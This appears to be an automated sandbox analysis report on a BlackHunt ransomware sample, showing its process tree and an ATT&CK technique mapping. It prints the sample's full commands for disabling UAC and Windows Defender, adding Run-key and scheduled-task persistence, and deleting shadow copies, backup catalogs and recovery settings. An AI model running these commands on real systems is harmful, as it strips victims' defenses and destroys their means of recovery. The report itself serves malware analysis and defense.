Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
"C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:3284
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:4512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:4868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:5008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:3592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:5060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4476
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:5020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1192
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe" /F
  2⤵
  PID:988
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4656
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:824
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4872
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3284
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4080
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1716
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3208
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3592
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:216
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4064
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4764
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3596

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2064

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1160

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:556

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery